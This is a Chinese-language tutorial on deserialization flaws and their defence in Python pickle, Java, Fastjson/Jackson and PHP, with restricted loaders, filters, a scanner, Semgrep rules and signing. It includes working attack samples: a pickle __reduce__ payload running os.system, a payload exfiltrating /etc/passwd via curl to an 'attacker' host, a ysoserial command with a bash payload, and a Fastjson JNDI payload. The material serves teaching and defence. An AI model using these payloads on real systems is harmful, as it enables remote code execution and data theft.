反序列化漏洞与 RCE 防御：从 POP 链到安全加固的完整实战

序列化（Serialization）：
  内存对象 → 字节流（存储/传输）

反序列化（Deserialization）：
  字节流 → 内存对象（还原）

风险：反序列化 = "从字节流凭空创建对象"
      若字节流来自不可信输入，等于让攻击者控制"创建什么样的对象、触发什么逻辑"

# pickle 不只还原数据——它会执行嵌入的对象重建代码
import pickle, os

class Evil:
    def __reduce__(self):
        """pickle 通过 __reduce__ 决定如何重建对象。
        攻击者构造返回 (callable, args)，重建时即调用 callable(*args)。"""
        return (os.system, ("id > /tmp/pwned && echo EXPLOITED",))

# 攻击者交付的恶意字节流
malicious = pickle.dumps(Evil())
print(malicious)
# b'\x80\x05\x95...\x8c\x05posix...'  ← 看似乱码，实则含 os.system 调用

# 受害者端：反序列化即执行
pickle.loads(malicious)   # ← 这里已经执行了系统命令！

# 攻击示例：偷取目标机器的文件
class Exfil:
    def __reduce__(self):
        return (eval, ("__import__('os').system("
                       "'curl http://attacker/$(cat /etc/passwd | base64)')",))

# 另一种常见载体：__import__ 动态导入任意模块
def payload_shell_command(cmd: str) -> bytes:
    return pickle.dumps((__import__("os").system, (cmd,)))

# secure_pickle.py — pickle 防御
import io, pickle

def secure_loads_checking(data: bytes) -> object:
    """黑名单拦截危险操作码（不完全可靠，仅增强）。"""
    dangerous_opcodes = {b"c", b"o", b"i", b"R", b"q"}   # import/call/reduce
    for opcode in dangerous_opcodes:
        if opcode in data:
            raise ValueError(f"检测到危险 opcode: {opcode}")
    return pickle.loads(data)   # 但仍有绕过空间，见下

def unpickle_with_restricted_globals(data: bytes) -> object:
    """限制全局查找：只允许白名单类被恢复。"""
    class RestrictedUnpickler(pickle.Unpickler):
        def find_class(self, module, name):
            ALLOWED = {
                "builtins": {"list", "dict", "tuple", "set", "str", "int"},
                "datetime": {"datetime"},
            }
            if module in ALLOWED and name in ALLOWED[module]:
                return getattr(__import__(module), name)
            raise pickle.UnpicklingError(f"禁止访问 {module}.{name}")
    return RestrictedUnpickler(io.BytesIO(data)).load()


# 终极方案：序列化用 JSON，杜绝对象还原
def secure_dump(obj) -> str:
    """业务数据一律用 JSON 序列化，不带对象逻辑。"""
    import json
    return json.dumps(obj)

def secure_load(text: str):
    return json.loads(text)

// Java 原生反序列化：readObject 是漏洞触发点
import java.io.*;

public class User implements Serializable {
    private String name;
    private Object attachment;   // 任意对象！

    private void readObject(ObjectInputStream in)
            throws IOException, ClassNotFoundException {
        in.defaultReadObject();
        // 还原后自动执行的逻辑——攻击者可借此拼链
    }
}

// 危险用法
public static User loadUser(byte[] data) throws Exception {
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data));
    User u = (User) ois.readObject();   // 反序列化触发 readObject
    ois.close();
    return u;
}

典型利用链（ysoserial 工具生成）：
CommonsCollections 链：
  HashMap.readObject()
    → ... → InvokerTransformer.transform()   ← 反射调用任意方法
      → Runtime.exec("任意命令")

攻击者只需：
  1. 收集目标 classpath 中的可利用类（Gadget）
  2. 用 ysoserial 生成特定链的 payload
  3. 把 payload 交给反序列化入口

# ysoserial 生成攻击载荷
java -jar ysoserial.jar CommonsCollections1 \
  'bash -c {echo,YmFzaCBp...}|{base64,-d}|bash' > payload.ser

// Fastjson autotype：type 字段让反序列化器按名实例化任意类
{"@type": "com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName": "ldap://attacker/evil",
 "autoCommit": true}

// 利用链：JdbcRowSetImpl 的 setAutoCommit(true) 会发起 JNDI 查询
// → LDAP 服务器返回恶意引用 → 本地类加载 → RCE
// （经典 JNDI 注入）

// Jackson 的默认多态也有同样风险（enableDefaultTyping）
// 防御：关闭自动类型，或严格白名单
ObjectMapper mapper = new ObjectMapper();
mapper.activateDefaultTyping(
    BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("com.yourcompany.safe.model")   // 只允许自家模型
        .allowIfBaseType("java.util.List")
        .build(),
    ObjectMapper.DefaultTyping.NON_FINAL);

// Java 9+ 内置 ObjectInputFilter：按类名过滤反序列化
public static ObjectInputStream filteredStream(byte[] data) throws Exception {
    ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
        "java.util.*;java.lang.*;com.example.safe.model.*;!*"  // 白名单 + 拒绝其他
    );
    ObjectInputStream ois = new ObjectInputStream(
        new ByteArrayInputStream(data));
    ois.setObjectInputFilter(filter);
    return ois;
}

<!-- 首选替代：用 JSON 而非 Java 原生序列化 -->
<dependency>
    <groupId>com.fasterxml.jackson.core</groupId>
    <artifactId>jackson-databind</artifactId>
</dependency>
<!-- 且关闭 default typing -->

<?php
// PHP 反序列化自动触发的魔法方法：
// __wakeup()   反序列化时调用
// __destruct() 对象销毁时调用
// __toString() 对象转字符串时调用
// __call()     调用不存在方法时
// __get()      访问不存在属性时

class FileReader {
    public $filename;
    function __toString() {
        return file_get_contents($this->filename);  // 读取任意文件
    }
    function __wakeup() {
        if ($this->filename !== '/etc/passwd') {    // 开发者以为在防御
            $this->filename = '/tmp/safe';
        }
    }
}

// 攻击者控制序列化数据，可注入自定义属性值
// serialize() 输出格式：O:10:"FileReader":1:{s:8:"filename";s:11:"/etc/passwd";}
?>

<?php
// 利用链示例：A 的 __destruct 调用 B 的方法，B 的方法读取 C 的文件
class A { public $target; function __destruct() { $this->target->execute(); } }
class B { public $file;   function execute() { include($this->file); } }  // LFI→RCE
// 攻击者构造嵌套对象，反序列化时 A 销毁 → 触发 B.execute(include恶意文件)
?>

<?php
// 1. 首选：只用 JSON 传输数据，不用 unserialize
$data = json_decode($_POST['data'], true);

// 2. 若必须 unserialize：限制允许的类
unserialize($raw, ['allowed_classes' => ['SafeModel', 'SafeEntity']]);

// 3. 完全禁止对象反序列化（只还原数组/标量）
unserialize($raw, ['allowed_classes' => false]);
?>

# deserialization_scanner.py — 扫描代码库中的危险反序列化调用
import re, pathlib

DANGEROUS_PATTERNS = {
    "python_pickle":     [r"pickle\.loads?\s*\(", r"cPickle\.loads?\s*\("],
    "java_ois":          [r"ObjectInputStream", r"readObject\s*\("],
    "java_fastjson":     [r"JSON\.parseObject", r"JSONObject\.parse"],
    "php_unserialize":   [r"unserialize\s*\("],
    "ruby_marshal":      [r"Marshal\.load\s*\("],
    "xml_decompression": [r"XMLDecoder", r"@type"],
}

def scan_repo(root: str) -> dict[str, list[str]]:
    hits = {k: [] for k in DANGEROUS_PATTERNS}
    for path in pathlib.Path(root).rglob("*.py"):
        try:
            code = path.read_text(errors="ignore")
        except Exception:
            continue
        for kind, patterns in DANGEROUS_PATTERNS.items():
            for pat in patterns:
                if re.search(pat, code):
                    hits[kind].append(str(path))
    return hits

# 审计路径：user_input → ... → pickle.loads()
def audit_taint_flow(entry_points, sinks, call_graph):
    """
    简化思路：标记不可信来源（HTTP body、请求头、MQ 消息），
    追踪是否流向反序列化 sink。
    生产建议用 Semgrep / CodeQL 做真实 taint 分析。
    """
    return [s for s in sinks if reachable_from(s, entry_points, call_graph)]

# Semgrep 规则示例（自动扫描）
semgrep --config rules/deserialization.yml .

# rules/deserialization.yml
rules:
  - id: pickle-loads
    patterns:
      - pattern: pickle.loads($DATA)
    metavariable-regex:
      metavariable: $DATA
      regex: .*  # 进一步限定来源
    message: "检测到 pickle.loads——禁止反序列化不可信数据"
    languages: [python]
    severity: ERROR

L1 消除：不用原生反序列化，用 JSON/Protobuf
L2 隔离：不可信数据与反序列化入口物理隔离
L3 白名单：限制允许反序列化的类
L4 完整性：数据签名，防止篡改
L5 监测：反序列化调用审计 + 异常告警
L6 应急：RASP 实时拦截 + 隔离回滚

# integrity_check.py — 反序列化数据签名
import hmac, hashlib, json

SECRET_KEY = "server-side-secret"   # 存于服务端，勿泄露

def sign_payload(payload: bytes) -> str:
    """序列化数据附带 HMAC 签名，防篡改。"""
    sig = hmac.new(SECRET_KEY.encode(), payload, hashlib.sha256).hexdigest()
    return sig

def verify_payload(signature: str, payload: bytes) -> bool:
    """验证签名一致才反序列化。"""
    expected = hmac.new(SECRET_KEY.encode(), payload, hashlib.sha256).hexdigest()
    return hmac.compare_digest(signature, expected)   # 常量时间比较

# rasp_monitor.py — 监测反序列化中的危险调用
def monitor_deserialization(loader_fn, data: bytes):
    """包装反序列化：监测是否出现危险行为。"""
    try:
        result = loader_fn(data)
        # 反序列化后校验对象类型
        if not isinstance(result, ALLOWED_ROOT_TYPES):
            alert_security(f"反序列化产生非预期类型: {type(result)}")
            return None
        return result
    except Exception as e:
        alert_security(f"反序列化异常: {e}")
        raise

某电商系统使用 Fastjson 接收 JSON 请求：
  POST /api/order/parse
  {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://evil","autoCommit":true}

→ 触发 JNDI 注入 → 攻击者控制 LDAP 返回恶意 Class
→ 目标服务器加载恶意类 → 执行任意命令

# 1. 确认依赖版本是否受影响
mvn dependency:tree | grep fastjson
# fastjson:1.2.24 ← 高危版本

# 2. 搜索代码中所有 parseObject 入口
grep -rn "parseObject\|JSON.parse" src/ --include="*.java"

# 3. 确认是否有不可信输入直接到达
# 追踪 @RequestBody → parseObject 路径

// 1. 升级到修复版本（1.2.83+，仍建议禁用 autoType）
// fastjson 2.x 更优：性能与安全俱佳

// 2. 全局禁用 autoType
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);

// 3. 用白名单替代黑名单
ParserConfig.getGlobalInstance().addAccept("com.youcompany.safe.dto.");

// 4. 首选方案：改用 Jackson + 白名单 或 明确 DTO（不用 @type）
ObjectMapper mapper = new ObjectMapper();
// 关闭默认类型，强制 DTO 绑定

# deserialization_testset.py
TEST_CASES = {
    "python_pickle_rce": lambda: pickle.loads(pickle.dumps(Evil())),
    "java_ysoserial_like": lambda: run_java_read_object(YSO_PAYLOAD),
    "php_wakeup_bypass": lambda: php_unserialize(PHP_PAYLOAD),
    "fastjson_autotype": lambda: fastjson_parse(FJ_PAYLOAD),
}

def run_security_tests(handlers: dict) -> dict:
    """对每个防御 handler 跑测试，验证拦截。"""
    results = {}
    for name, trigger in TEST_CASES.items():
        try:
            handlers[name](trigger)
            results[name] = "NOT_BLOCKED"   # 危险！
        except SecurityException:
            results[name] = "blocked"       # 正确拦截
    return results

1. 序列化格式协议演进：JSON → Protobuf/flatbuffers（类型安全，无魔法方法）
2. 深度防御：WAF 检测 @type / pickle opcode 特征
3. 运行时防护：Java 17+ JEP 290 内置反序列化过滤，RASP 产品
4. 供应链治理：SCA 扫描反序列化库漏洞，SBOM 追踪
5. 默认最小化：新代码禁止原生反序列化，走评审门禁